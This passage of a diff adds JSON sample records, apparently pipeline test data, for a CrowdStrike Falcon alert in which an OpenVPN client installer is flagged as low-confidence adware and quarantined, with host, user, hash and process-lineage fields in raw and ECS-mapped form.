evice\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
+                "severity": 21,
+                "type": [
+                    "start"
+                ]
+            },
+            "file": {
+                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
+            },
+            "host": {
+                "domain": "ABC.LOCAL",
+                "hostname": "ABC709-1175",
+                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "mac": [
+                    "AB-21-48-61-05-B2"
+                ],
+                "os": {
+                    "full": "Windows11",
+                    "platform": "Windows",
+                    "type": "windows"
+                }
+            },
+            "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+            "process": {
+                "end": "2023-11-03T18:00:21.000Z",
+                "entity_id": "399748687993",
+                "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "hash": {
+                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+                },
+                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "parent": {
+                    "command_line": "C:\\WINDOWS\\Explorer.EXE",
+                    "entity_id": "392736520876",
+                    "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+                    "hash": {
+                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
+                    },
+                    "name": "explorer.exe",
+                    "pid": 392736520876
+                },
+                "pid": 399748687993,
+                "start": "2023-11-03T18:00:13.000Z",
+                "user": {
+                    "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "name": "mohit.jha"
+                }
+            },
+            "related": {
+                "hash": [
+                    "b07f77fd3f9828b2c9d61f8a36609741",
+                    "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                    "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "8cc3fcdd7d52d2d5221303c213e044ae",
+                    "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                    "0000000000000000000000000000000000000000"
+                ],
+                "hosts": [
+                    "ABC.LOCAL",
+                    "ABC709-1175"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "user": [
+                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "yuvraj.mahajan",
+                    "mohit.jha"
+                ]
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "id": [
+                        "CSTA0004"
+                    ],
+                    "name": [
+                        "MachineLearning"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "CST0000"
+                    ],
+                    "name": [
+                        "Adware/PUP"
+                    ]
+                }
+            },
+            "user": {
+                "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "name": "mohit.jha"
+            }
+        },
+        {
+            "@timestamp": "2023-11-03T18:00:22.328Z",
+            "crowdstrike": {
+                "alert": {
+                    "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                    "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                    "alleged_filetype": "exe",
+                    "cid": "92012896127c4a948236ba7601b886b0",
+                    "cloud_indicator": false,
+                    "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
+                    "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "confidence": 10,
+                    "context_timestamp": "2023-11-03T18:00:31.000Z",
+                    "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
+                    "crawl_edge_ids": {
+                        "Sensor": [
+                            "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
+                            "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!",
+                            "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
+                            "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
+                            "N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
+                            "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
+                            "N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!",
+                            "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
+                            "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
+                            "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"
+                        ]
+                    },
+                    "crawl_vertex_ids": {
+                        "Sensor": [
+                            "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                            "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                            "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                            "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
+                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
+                            "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
+                        ]
+                    },
+                    "crawled_timestamp": "2023-11-03T19:00:23.985Z",
+                    "created_timestamp": "2023-11-03T18:01:23.995Z",
+                    "data_domains": [
+                        "Endpoint"
+                    ],
+                    "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+                    "device": {
+                        "agent_load_flags": 0,
+                        "agent_local_time": "2023-10-12T03:45:57.753Z",
+                        "agent_version": "7.04.17605.0",
+                        "bios_manufacturer": "ABC",
+                        "bios_version": "F8CN42WW(V2.05)",
+                        "cid": "92012896127c4a948236ba7601b886b0",
+                        "config_id_base": "65994763",
+                        "config_id_build": "17605",
+                        "config_id_platform": 3,
+                        "external_ip": "81.2.69.142",
+                        "first_seen": "2023-04-07T09:36:36.000Z",
+                        "groups": [
+                            "18704e21288243b58e4c76266d38caaf"
+                        ],
+                        "hostinfo": {
+                            "active_directory_dn_display": [
+                                "WinComputers",
+                                "WinComputers\\ABC"
+                            ],
+                            "domain": "ABC.LOCAL"
+                        },
+                        "hostname": "ABC709-1175",
+                        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                        "last_seen": "2023-11-03T17:51:42.000Z",
+                        "local_ip": "81.2.69.142",
+                        "mac_address": "AB-21-48-61-05-B2",
+                        "machine_domain": "ABC.LOCAL",
+                        "major_version": "10",
+                        "minor_version": "0",
+                        "modified_timestamp": "2023-11-03T17:53:43.000Z",
+                        "os_version": "Windows11",
+                        "ou": [
+                            "ABC",
+                            "WinComputers"
+                        ],
+                        "platform_id": "0",
+                        "platform_name": "Windows",
+                        "product_type": "1",
+                        "product_type_desc": "Workstation",
+                        "site_name": "Default-First-Site-Name",
+                        "status": "normal",
+                        "system_manufacturer": "LENOVO",
+                        "system_product_name": "20VE"
+                    },
+                    "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "grandparent_details": {
+                        "cmdline": "C:\\Windows\\system32\\userinit.exe",
+                        "filename": "userinit.exe",
+                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
+                        "local_process_id": "4328",
+                        "md5": "b07f77fd3f9828b2c9d61f8a36609741",
+                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
+                        "process_id": "392734873135",
+                        "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                        "timestamp": "2023-10-30T16:49:19.000Z",
+                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_name": "yuvraj.mahajan"
+                    },
+                    "has_script_or_module_ioc": true,
+                    "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "ioc_context": [
+                        {
+                            "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                            "ioc_source": "library_load",
+                            "ioc_type": "hash_sha256",
+                            "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "type": "module"
+                        }
+                    ],
+                    "ioc_values": [
+                        "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+                    ],
+                    "is_synthetic_quarantine_disposition": true,
+                    "local_process_id": "17076",
+                    "logon_domain": "ABSYS",
+                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "name": "PrewittPupAdwareSensorDetect-Lowest",
+                    "objective": "FalconDetectionMethod",
+                    "parent_details": {
+                        "cmdline": "C:\\WINDOWS\\Explorer.EXE",
+                        "filename": "explorer.exe",
+                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+                        "local_process_id": "1040",
+                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                        "process_id": "392736520876",
+                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                        "timestamp": "2023-11-03T18:00:32.000Z",
+                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_name": "mohit.jha"
+                    },
+                    "parent_process_id": "392736520876",
+                    "pattern_disposition": 2176,
+                    "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
+                    "pattern_disposition_details": {
+                        "blocking_unsupported_or_disabled": false,
+                        "bootup_safeguard_enabled": false,
+                        "critical_process_disabled": false,
+                        "detect": false,
+                        "fs_operation_blocked": false,
+                        "handle_operation_downgraded": false,
+                        "inddet_mask": false,
+                        "indicator": false,
+                        "kill_action_failed": false,
+                        "kill_parent": false,
+                        "kill_process": false,
+                        "kill_subprocess": false,
+                        "operation_blocked": false,
+                        "policy_disabled": false,
+                        "process_blocked": true,
+                        "quarantine_file": true,
+                        "quarantine_machine": false,
+                        "registry_operation_blocked": false,
+                        "rooting": false,
+                        "sensor_only": false,
+                        "suspend_parent": false,
+                        "suspend_process": false
+                    },
+                    "pattern_id": "5761",
+                    "platform": "Windows",
+                    "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
+                    "process_end_time": "2023-11-03T18:00:21.000Z",
+                    "process_id": "399748687993",
+                    "process_start_time": "2023-11-03T18:00:13.000Z",
+                    "product": "epp",
+                    "quarantined_files": [
+                        {
+                            "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                            "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "state": "quarantined"
+                        }
+                    ],
+                    "scenario": "NGAV",
+                    "severity": 30,
+                    "severity_name": "low",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "show_in_ui": true,
+                    "source_products": [
+                        "FalconInsight"
+                    ],
+                    "source_vendors": [
+                        "CrowdStrike"
+                    ],
+                    "status": "new",
+                    "tactic": "MachineLearning",
+                    "tactic_id": "CSTA0004",
+                    "technique": "Adware/PUP",
+                    "technique_id": "CST0000",
+                    "timestamp": "2023-11-03T18:00:22.328Z",
+                    "tree_id": "1931778",
+                    "tree_root": "38687993",
+                    "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
+                    "type": "ldt",
+                    "updated_timestamp": "2023-11-03T19:00:23.985Z",
+                    "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "user_name": "mohit.jha"
+                }
+            },
+            "device": {
+                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                "manufacturer": "LENOVO",
+                "model": {
+                    "name": "20VE"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                "kind": "alert",
+                "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\<H^hNG\\\"ZQ3#U3\\\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6>a%iM\\\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\\\"b&m!<<'\",\"N6CU&`%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl